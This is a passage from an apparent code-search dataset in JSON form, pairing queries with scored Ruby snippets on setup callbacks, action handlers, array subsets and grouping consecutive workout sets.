"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
1c27150d0bd5e1b81006b4ace3dbbdea
|
Toma un array de sets de entrenamiento y devuelve un array de arrays, con los sets contiguos con el mismo ejercicio juntos Ej : [ curl, curl, squat, squat, curl, squat] > [[curl, curl], [squat, squat], [curl], [squat]]
|
[
{
"docid": "98a2947fffb995567c31c7c012bbb4e7",
"score": "0.0",
"text": "def partitionize(array)\r\n p = Array.new\r\n\r\n array.each_with_index do |x, i|\r\n if i == 0 || x.exercise_id != array[i-1].exercise_id\r\n p << Array.new\r\n end\r\n p.last << x\r\n end\r\n p\r\n end",
"title": ""
}
] |
[
{
"docid": "38101a6c032301366cef77bf4c99cfee",
"score": "0.7358327",
"text": "def get_sets\n result = []\n (0..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 3)).each do |a|\n ((a + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 2)).each do |b|\n ((b + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 1)).each do |c|\n if (is_a_set?([self.talon[self.tapis[a]], self.talon[self.tapis[b]], self.talon[self.tapis[c]]]))[0]\n result << [a, b, c]\n end\n end\n end\n end\n result\n end",
"title": ""
},
{
"docid": "19d50b49f54827aa0e0126dbb5f8844b",
"score": "0.6282646",
"text": "def sets\n return [EscholSet.new({name: \"everything\", spec: \"everything\"})]\n end",
"title": ""
},
{
"docid": "5b000b11f93edf45a0fd5cda9dc7f736",
"score": "0.62247986",
"text": "def sets\n end",
"title": ""
},
{
"docid": "211e2140dfc83f88194a8c95e8999f7c",
"score": "0.6187843",
"text": "def powerset(arr)\n arr.inject([Set.new].to_set) do |powerset, el|\n new_powerset = Set.new\n powerset.each do |subset|\n new_powerset << subset\n new_powerset << subset + [el]\n end\n new_powerset\n end\n end",
"title": ""
},
{
"docid": "de74fd2f6128ab6ec33e3de791a28757",
"score": "0.60495245",
"text": "def subsets(array)\n\nend",
"title": ""
},
{
"docid": "de74fd2f6128ab6ec33e3de791a28757",
"score": "0.60495245",
"text": "def subsets(array)\n\nend",
"title": ""
},
{
"docid": "de74fd2f6128ab6ec33e3de791a28757",
"score": "0.60495245",
"text": "def subsets(array)\n\nend",
"title": ""
},
{
"docid": "6799e11b795dec30289a9d3b580990ce",
"score": "0.60454494",
"text": "def subsets (arr)\n return [[]] if arr.length == 0\n\n interim = subsets(arr[0...-1])\n interim + interim.map do |el|\n el + [arr[-1]]\n end\nend",
"title": ""
},
{
"docid": "bfd5c0b18926604e496b16a2fd6e6e5d",
"score": "0.6008003",
"text": "def subsets(set)\n return [[]] if set == []\n \n res= [[]]\n \n 0.upto set.length-1 do |i|\n subsets(set[(i+1)..-1]).each do |subsubset|\n res << [set[i]] + subsubset\n end\n end\n \n res\nend",
"title": ""
},
{
"docid": "117aa00206c9750f028dbbf992883210",
"score": "0.597522",
"text": "def sets\n rows = @board.each_slice(9).to_a # rows\n cols = rows.transpose\n (rows + cols + boxes).each do |set|\n set.delete(\"0\")\n end\n end",
"title": ""
},
{
"docid": "08b990f8167b2ce33fef02dade728f9a",
"score": "0.5922977",
"text": "def skittle_combos(skittles)\n two_flavor_array = Array.new\n skittles.each do |el1|\n skittles.each do |el2|\n if el1 != el2\n two_flavor_array.push([el1, el2].sort)\n end\n end\n end\n two_flavor_array.uniq.sort\nend",
"title": ""
},
{
"docid": "4908102a66e8c559e75e8b3ba07b5b59",
"score": "0.5889381",
"text": "def converted_arrays\n @converted_arrays ||= Set.new\n end",
"title": ""
},
{
"docid": "9c8f31f07ccb60a0962c5206c6b45356",
"score": "0.5801913",
"text": "def club_sets\n super.uniq\n end",
"title": ""
},
{
"docid": "5283c2e8c44271bd1b7ea96bedc70495",
"score": "0.57820183",
"text": "def arrays_of_arrays(names, specialties)\n result = []\n\n # initialize iterator\n i = 0\n\n #loops through names\n specialties.each do |specialty|\n\n # shovel sub_array into result\n result.push([names[i]] + [specialty])\n\n # increment iterator\n i += 1\n end\n return result\n\nend",
"title": ""
},
{
"docid": "64ae2a82e3a421cc2be23b0b32c6ff9a",
"score": "0.57678205",
"text": "def subsets(arr)\n return [[]] if arr.empty?\n s = subsets(arr - [arr.last])\n s + s.map { |el| el + [arr.last] }\nend",
"title": ""
},
{
"docid": "6ef5e1e9ee216903ff34dbc6b0ab2935",
"score": "0.57456475",
"text": "def subsets(arr)\n return [[]] if arr.empty?\n # debugger\n # take - return first n elements\n\n subArr = arr.take(arr.count - 1)\n\n subs = subsets(subArr)\n\n # concat Appends the elements of other_ary to self.\n # tyle co +\n subArrays = subs.map { |sub| sub + [arr.last] }\n subs.concat(subArrays)\nend",
"title": ""
},
{
"docid": "464c90973b9fca6002682e085e7001ea",
"score": "0.5736194",
"text": "def split_consonant_cluster\n coda = consonant_queue.clone\n onset = []\n while POSSIBLE_ONSETS.include?([coda.last.try(:symbol)] + onset.map {|phoneme| phoneme.symbol}) do\n onset.unshift coda.pop\n end\n [coda, onset]\n end",
"title": ""
},
{
"docid": "4507167ff8729c7d8b136820a908a448",
"score": "0.57177377",
"text": "def subsets(arr)\n return [[]] if arr.empty?\n\n val = arr[0]\n subs = subsets(arr.drop(1))\n new_subs = subs.map{ |sub| sub + val }\n\n subs + new_subs\nend",
"title": ""
},
{
"docid": "34f785049b7a1975c98b1c3cbb2dc0b8",
"score": "0.5717506",
"text": "def subsets(array)\n return [[]] if array.empty?\n\n val = array[0]\n subs = subsets(array.drop(1))\n new_subs = subs.map { |sub| sub + [val] }\n\n subs + new_subs\nend",
"title": ""
},
{
"docid": "561caa9cfaab2843405008b7c4b4a54e",
"score": "0.5712105",
"text": "def subsets(arr)\n return [ [] ] if arr.empty?\n subs = subsets(arr.drop(1)) # [ [] ]\n return subs.concat(subs.map { |sub| [arr.first].concat(sub) })\nend",
"title": ""
},
{
"docid": "a785729f45e81d48af1831d0a1abf091",
"score": "0.5702769",
"text": "def subsets(array)\n return [[]] if array == []\n\n sets = subsets(array[0...-1])\n sets + sets.map { |el| el += [array.last] }\nend",
"title": ""
},
{
"docid": "aa1fd2d63b560c9a3fb65f0b6cdce90a",
"score": "0.5702392",
"text": "def subsets(arr)\n res = [] \n if arr.length == 1 \n res << [] \n res << [arr[0]]\n return res \n elsif arr.empty?\n return [[]]\n end\n \n last = arr.pop \n old_set = subsets(arr)\n res = old_set\n \n res += old_set.map{ |i| i + [last] }\nend",
"title": ""
},
{
"docid": "c9ca25b78b6c1c24857d7a78b53fe989",
"score": "0.5680697",
"text": "def subsets(arr)\r\n comb = [] #set up return array\r\n\r\n for x in 0..arr.length do # gives a value from 0 to arr.length to pass below\r\n arr.combination(x) {|y| comb << y} # pushes to the return all of the possible combinations of the array\r\n end # the x insures that all possible lengths of combinations are returned.\r\n\r\n comb # returns all combinations\r\nend",
"title": ""
},
{
"docid": "182f0d5275309ae2014cec7648981601",
"score": "0.5672358",
"text": "def subsets_iter(arr)\n new_arr = [[]]\n # byebug\n i = 0\n while i < arr.length\n# byebug\n ele1 = arr[i]\n new_arr << [ele1]\n\n if arr.length > 2\n sub_arr = [ele1]\n j = i + 1\n while j < arr.length\n # byebug\n ele2 = arr[j]\n sub_arr << ele2\n new_arr << sub_arr.dup\n sub_arr.pop\n j += 1\n end\n end\n i += 1\n end\n# byebug\n new_arr << arr unless arr.length < 2\n\n new_arr\nend",
"title": ""
},
{
"docid": "dd93e7df2a5bbf35d0bfc8662143be20",
"score": "0.56711394",
"text": "def subsets(arr)\n return [arr] if arr.empty?\n out = []\n subsets(arr[1..-1]).each do |s|\n out << s\n out << [arr[0]] + s\n end\n out\nend",
"title": ""
},
{
"docid": "b4810cf8f42e37ae49a48127389ced97",
"score": "0.5648911",
"text": "def convert_array(str)\n return \"*invalid input*\" if (str.length < 3) || (str.length % 3 != 0)\n\n set = str.length / 3 # determines number of iterations for a full set\n ary = str.split('')\n\n n = str.length / 3 # track the number of chars remaining in the sets\n a = 0\n i = 0\n\n for i in (1...set)\n ## insert method puts char BEFORE current index\n ## i represents the number of sets that have been itterated\n b = a + n\n b_value = ary.slice!(b)\n ary.insert(a + 1, b_value)\n\n c = b + n\n c_value = ary.slice!(c)\n ary.insert(a + 2, c_value)\n\n n -= 1 # all sets reduced by 1\n a += 3\n end\n\n ary.join\n\nend",
"title": ""
},
{
"docid": "94961ac47100a7c225989ff5d11a1df3",
"score": "0.56484264",
"text": "def yale_nd_row_as_set i\n require 'set'\n yale_nd_row(i, :array).to_set\n end",
"title": ""
},
{
"docid": "60e37ac223db6e3be51aa847e3e4b1e3",
"score": "0.5643067",
"text": "def subsets(array) # [1, 2], [1]\n return [[]] if array.length == 0\n # return [[], array ] if array.length == 1\n\n except_last = subsets(array[0...-1]) #subsets([1]), subsets([])\n combination = except_last.map { |ele| ele += [array[-1]]} #map subsets([1]) + [2], \n\n except_last + combination\nend",
"title": ""
},
{
"docid": "d42c415f036049463997934a8ee0ebde",
"score": "0.5638708",
"text": "def subsets(array)\n return [[]] if array.empty?\n\n dupped = array.dup\n last = dupped.pop\n sets = subsets(dupped)\n\n subsets(dupped).each do |set|\n sets << (set << last)\n end\n\n sets\nend",
"title": ""
},
{
"docid": "85a18ecdb300a74f68c9fce5c8f9d60e",
"score": "0.56349987",
"text": "def subsets(array)\n return [[]] if array.empty?\n\n subs = subsets(array[0..-2])\n subs.concat(subs.map{|el| el += [array.last]})\nend",
"title": ""
},
{
"docid": "85a18ecdb300a74f68c9fce5c8f9d60e",
"score": "0.56349987",
"text": "def subsets(array)\n return [[]] if array.empty?\n\n subs = subsets(array[0..-2])\n subs.concat(subs.map{|el| el += [array.last]})\nend",
"title": ""
},
{
"docid": "9a991c88dfed07c6e4ed28bc6201606e",
"score": "0.5628696",
"text": "def subsets(arr)\n return [arr] if arr.empty?\n # p arr\n # if arr.length == 1\n # return subsets(arr[0...0]) + [arr]\n # end\n\n arr.each {|ele| subsets(arr -[ele]) } + [arr]\nend",
"title": ""
},
{
"docid": "40a2fd37da7185a0bf3be9e5d0521fa8",
"score": "0.56246024",
"text": "def skittle_combos(skittles)\n skittles.combination(2).map(&:sort).uniq\nend",
"title": ""
},
{
"docid": "b532acaa51d9c75ed06c3a95f1253c07",
"score": "0.56214124",
"text": "def subsets(arr)\n ans = [[]]\n arr.length.times do |id|\n id2 = id + 1\n ans << [arr[id]]\n while id2 < arr.length\n ans << arr[id..id2]\n id2 += 1\n end\n end\n ans\nend",
"title": ""
},
{
"docid": "0f6b45bb7c067ecfcf93d39c491e10ed",
"score": "0.56108695",
"text": "def set(arr)\n\treturn arr.uniq\nend",
"title": ""
},
{
"docid": "66f67421d034e1a4de2742870a2eec41",
"score": "0.5602183",
"text": "def subsets(set)\n return [[]] if set.empty?\n smaller_set = set.take(set.count-1)\n smaller_subsets = subsets(smaller_set)\n bigger_subsets = []\n smaller_subsets.each do |smaller_subset|\n bigger_subsets << smaller_subset + [set.last]\n end\n\n smaller_subsets + bigger_subsets\nend",
"title": ""
},
{
"docid": "9f9fb9f319b9855fec6b9d665f12fa32",
"score": "0.5601866",
"text": "def powerset(array)\n subsets = [[]]\n array.each { |element|\n for i in 0..subsets.length - 1\n current_subset = subsets[i]\n subsets << (current_subset + [element])\n end\n }\n return subsets\nend",
"title": ""
},
{
"docid": "be6a52107d9060f0cff53f23c068a78c",
"score": "0.56009626",
"text": "def subsets(array)\n return [[]] if array.empty?\n subs = array[0...-1]\n smaller_subs = subsets(subs)\n bigger_subs = []\n smaller_subs.each do |sub|\n bigger_subs << sub + [array[-1]]\n end\n smaller_subs + bigger_subs\nend",
"title": ""
},
{
"docid": "b22b7f1a38740dd761a4f464308d685c",
"score": "0.5586986",
"text": "def subsets(arr)\n #base case(s)\n p arr\n return [arr] if arr.empty?\n # return [[], arr] if arr.length == 1\n #inductive step\n remaining_arr = subsets(arr[0...-1])\n remaining_arr + remaining_arr.map { |ele| ele + [arr.last] }\n # subsets(arr) + subsets(arr[0...-1])\nend",
"title": ""
},
{
"docid": "542716d46fc4246683a91453c3352c7e",
"score": "0.5582529",
"text": "def subsets(array)\n if array.empty?\n return [[]]\n end\n\n el = array.shift[0]\n old_subsets = subsets(array)\n new_subsets = old_subsets.map { |old_subset| [el] + old_subset }\n new_subsets + old_subsets\nend",
"title": ""
},
{
"docid": "4c1f15b16ff6b9b3713249d4d3a6b947",
"score": "0.5579617",
"text": "def powerset(array)\n subsets = [[]]\n\n array.each do |elem|\n (1..subsets.length - 1).each do |i|\n current_subset = subsets[i]\n subsets.append(current_subset + [elem])\n end\n end\n\n return subsets\nend",
"title": ""
},
{
"docid": "21dae509582b923906c18d8774c8aaeb",
"score": "0.5571511",
"text": "def make_set(x,y,z)\n return [x,y,z]\n end",
"title": ""
},
{
"docid": "be575035561620d574f0154b52e07f5e",
"score": "0.55588",
"text": "def subsets_of(array)\n 0.upto(array.length).flat_map { |n| array.combination(n).to_a }\n end",
"title": ""
},
{
"docid": "d8de12d30a1ac9fad0e5109fc0a3c2f3",
"score": "0.5558439",
"text": "def as_set\n content = as_content_array\n set = Set.new\n content.each {|row| row.each {|column_name, column_data| set << column_data}}\n set\n end",
"title": ""
},
{
"docid": "eb12adc135f25663152219d657e9ee4a",
"score": "0.55533475",
"text": "def survey_carnivores\n # really wanted to use Set here as: 1) it's an amazing class, and under-utlized,\n # and 2) it ignores duplicates automatically...\n # However, given the choice between Array and having to also keep track of\n # herbivores (or another potential db call to see if there are any), I choose Array\n @carnivores = Array.new\n\n self.dinosaurs.each do |dino_species|\n @carnivores.push(dino_species) if dino_species.species.is_carnivore\n end\n end",
"title": ""
},
{
"docid": "f049273424b6299cd6d7063884261b61",
"score": "0.5534263",
"text": "def subsets(arr)\n return [[]] if arr.empty?\n\n # new_series = subsets(arr[0..-2]).each do |subarr|\n # subarr << arr[-1]\n # end\n # subsets(arr[0..-2]) + new_series\n\n prev = subsets(arr[0..-2])\n prev.concat( prev.map { |subarr| subarr + [arr.last] } )\n\nend",
"title": ""
},
{
"docid": "ad0e327f725a41c0129fff9545c81072",
"score": "0.5532671",
"text": "def subsets(arr)\n return [[]] if arr.empty?\n subsets_arr = []\n cur_el = arr[0]\n prior_subs = subsets(arr[1..-1])\n prior_subs.each do |subset|\n subsets_arr << subset.dup.push(cur_el)\n end\n subsets_arr + prior_subs\nend",
"title": ""
},
{
"docid": "0e9fd03cfa4bb109b2d9fee56cf2bdf3",
"score": "0.5504672",
"text": "def get_power_set_1(set)\n\t(0..set.length).map {|i| set.combination(i).to_a}.flatten(1)\nend",
"title": ""
},
{
"docid": "592fddba1667581805ead0008a85eae7",
"score": "0.5486078",
"text": "def victoire\n \n [[@a1, @a2, @a3],\n [@a1, @b2, @c3],\n [@a1, @b1, @c1],\n [@b1, @b2, @b3],\n [@c1, @c2, @c3],\n [@c1, @b2, @a3],\n [@a2, @b2, @c2],\n [@a3, @b3, @c3]]\n end",
"title": ""
},
{
"docid": "c6d6719769ee84855a68f3804cc67e86",
"score": "0.54805166",
"text": "def subsets(array)\n return [[]] if array.empty?\n subs = subsets(array[0..-2])\n subs += subs.map { |el| el += [array.last] }\n end",
"title": ""
},
{
"docid": "2ba83986fc2f15219d3b30500ecdddf2",
"score": "0.5476703",
"text": "def skittle_combos(skittles)\n array = []\n skittles.each do |color1|\n skittles.each do |color2|\n if color1 == color2 \n next \n end \n result = [color1,color2].sort()\n array.append(result)\n end\n end\n return array \nend",
"title": ""
},
{
"docid": "695f661f5eb6c00aa172c914da9a19f0",
"score": "0.54695535",
"text": "def subsets(arr)\n return [[]] if arr.empty?\n\n last_el = arr.last\n results = []\n\n\n subsets(arr[0..-2]).each do |el|\n sub_arr = el << last_el\n results << sub_arr\n end\n\n subsets(arr[0..-2]) + results\nend",
"title": ""
},
{
"docid": "fafdd8eabb2f75a22d27d175859b85cb",
"score": "0.54615223",
"text": "def maesb_generate_equipment_sets\n # Generate Equipment Sets\n ($data_weapons + $data_armors).compact.each { |equip| equip.maesb_generate_equip_set }\n # Update items to refer to the set to which they belong\n set_items = $data_armors.compact.select {|armor| !armor.maesb_sets.empty? }\n set_items.each { |set_item| \n set_item.maesb_sets.collect {|set| set.items }.flatten.uniq.each { |equip|\n equip.maesb_belongs_to_sets.push(set_item.id) \n }\n }\n end",
"title": ""
},
{
"docid": "7a5466cf09f0a6c1eb030216a53d0ba3",
"score": "0.5452374",
"text": "def subsets(arr)\n return [[]] if arr.length == 0\n #return [arr] if arr.length == 1\n\n prev_set = subsets(arr[0..-2])\n new_subset = prev_set.map { |subarr| subarr + [arr[-1]] }\n\n prev_set + new_subset\nend",
"title": ""
},
{
"docid": "6ab7a3beaca0aaff930d2c684a99adea",
"score": "0.5447382",
"text": "def subsets(arr)\n subsets_helper(result = [], temp = [], arr, 0)\nend",
"title": ""
},
{
"docid": "e80a6170b0d834514bb3357cc4927ad4",
"score": "0.5446992",
"text": "def yale_row_as_set i\n require 'set'\n yale_row_as_array(i).to_set\n end",
"title": ""
},
{
"docid": "54f56313758963fd4da99906f5d0b10f",
"score": "0.54409623",
"text": "def subsets(arr)\n return [arr] if arr.empty?\nsubsets(arr[])\nend",
"title": ""
},
{
"docid": "fda443d1231203bcdfbbbb82a0911a66",
"score": "0.5439222",
"text": "def subsets(arr)\n return [self] if arr.length == 1\n\n subs + subsets()\nend",
"title": ""
},
{
"docid": "26bdc810d7474d745132cf14bef0a5d7",
"score": "0.54380554",
"text": "def hw_to_sets(hw,book) \n sets = []\n stream_starts_at_set = 1\n hw.each { |stream|\n stream_starts_at_set = stream_starts_at_set+stream[\"delay\"].to_i\n set_number = stream_starts_at_set\n stream[\"chunks\"].each { |chunk|\n if sets[set_number].nil? then sets[set_number]=[] end\n sets[set_number].push(chunk)\n set_number = set_number+1\n }\n }\n 1.upto(sets.length-1) { |set_number|\n if sets[set_number].nil? then sets[set_number]=[] end\n }\n\n read_problems_csv(book)\n\n 1.upto(sets.length-1) { |set_number|\n sets[set_number].each { |chunk|\n chunk.each { |fg|\n flags,probs = fg\n probs.each { |g|\n g.each { |p|\n k = [p[0],p[1]]\n if p[0]<0 then\n fatal_error(\"in hw_to_sets, chapter=#{p[0]} for a problem on hw #{set_number}\")\n end\n label = $num_to_label[k]\n if $problem_assigned_on_set[k].nil?\n $problem_assigned_on_set[k] = set_number\n else\n if p[2].nil? || p[2]=='' then\n fatal_error(\"problem #{p[0]}-#{p[1]}, #{label}, assigned on both hw #{$problem_assigned_on_set[k]} and hw #{set_number}, and no specific parts were given on the second hw\")\n end\n end\n }\n }\n }\n }\n }\n\n return sets\nend",
"title": ""
},
{
"docid": "c908356e9da7d575188717904c5bdc66",
"score": "0.5436702",
"text": "def atomic_array_add_to_sets\n @atomic_array_add_to_sets ||= {}\n end",
"title": ""
},
{
"docid": "108e85904312e0a450b91586a1949c54",
"score": "0.54291236",
"text": "def subsets(ary)\n # base case\n return [[]] if ary.empty?\n\n # create subsets without the last element (smaller array)\n subs = subsets(ary.take(ary.length - 1))\n\n # adds the subs with the last element that was omitted.\n subs.concat( subs.map { |sub| sub + [ary.last] })\n\nend",
"title": ""
},
{
"docid": "9ddb8cb882131c04aceb3b46637aa021",
"score": "0.54257536",
"text": "def flatten!\n replace(flatten()) if any? { |e| e.is_a?(Set) }\n end",
"title": ""
},
{
"docid": "a5ebcf8a71e8e94b7bfe7a507a73f521",
"score": "0.54210913",
"text": "def urls\n @sets.collect(&:keys).flatten\n end",
"title": ""
},
{
"docid": "850814582b42e38c6be991182bd9887b",
"score": "0.5418638",
"text": "def _get_keywords_set_int_v_1_55()\n \n result = []\n \n genre_int = Genre.find(:all, :conditions => {:code => 'int'})[0]\n \n categories = Category.find(:all, :conditions => {:genre_id => genre_int.id})\n \n #debug\n if categories != nil\n \n write_log(\n @log_path,\n \"categories.size => #{categories.size}\", \n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n else\n write_log(\n @log_path,\n \"categories => nil\", \n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s) \n end\n \n if categories != nil and categories.size > 0\n \n kws1 = KeyWordSet.new\n kws1.category = 'China'\n kws1.keywords = '中国 日中'\n \n kws2 = KeyWordSet.new\n kws2.category = 'Europe'\n # kws2.keywords = '米国 アメリカ'\n kws2.keywords = '欧州 イギリス ドイツ フランス ロシア'\n \n result.push(kws1)\n result.push(kws2)\n \n else\n \n kws1 = KeyWordSet.new\n kws1.category = 'China'\n kws1.keywords = '中国 日中'\n \n kws2 = KeyWordSet.new\n kws2.category = 'US'\n # kws2.keywords = '米国 アメリカ'\n kws2.keywords = '米国 アメリカ オバマ 米選挙'\n \n result.push(kws1)\n result.push(kws2)\n \n end\n \n \n return result\n \n end",
"title": ""
},
{
"docid": "cea1ee8c6a55fa5362981d48972a85ab",
"score": "0.5409925",
"text": "def uniq_arrays(groups)\r\n dup.tap { |o| o.uniq_arrays!(groups) }\r\n end",
"title": ""
},
{
"docid": "5bad54287034e9ea9e640460ec045591",
"score": "0.5399408",
"text": "def cross_array(*enumerables)\n # return to_a.product(*enumerables.map{|e| e.to_a})\n enumerables.unshift self\n result = [[]]\n while !enumerables.empty?\n t, result = result, []\n b, *enumerables = enumerables\n t.each do |a|\n b.each do |n|\n result << a + [n]\n end\n end\n end\n result\n end",
"title": ""
},
{
"docid": "d785cbb2cac3abe8435b8bfe37508d58",
"score": "0.5398553",
"text": "def realizar_combates\n length = @entrenadores.length\n (0..length - 1).each do |entrenador1|\n (entrenador1 + 1..length - 1).each do |entrenador2|\n combatir([@entrenadores[entrenador1], @entrenadores[entrenador2]])\n end\n end\n end",
"title": ""
},
{
"docid": "0326d5f2777ef4a4e2c917f13878939e",
"score": "0.5396799",
"text": "def get(set)\n res = set.map do |k|\n subsets = @hash[k]\n next unless subsets\n subsets.map do |subenum, subset, index|\n next unless subset.subset?(set)\n [index, subenum]\n end\n end.flatten(1)\n res.compact!\n res.uniq!\n res.sort!\n res.map! {|i, s| [@vals[i], s]}\n res\n end",
"title": ""
},
{
"docid": "3945fb4b05b6fb92517b4c574e1abffb",
"score": "0.5389449",
"text": "def copy_tg(tg)\n result = [Array.new(tg[0].size),Array.new(tg[1].size)]\n tg[0].each_index do |n|\n result[0][n] = Array.new(tg[0][n])\n end\n tg[1].each_index do |e|\n result[1][e] = Array.new(tg[1][e])\n end\n result\nend",
"title": ""
},
{
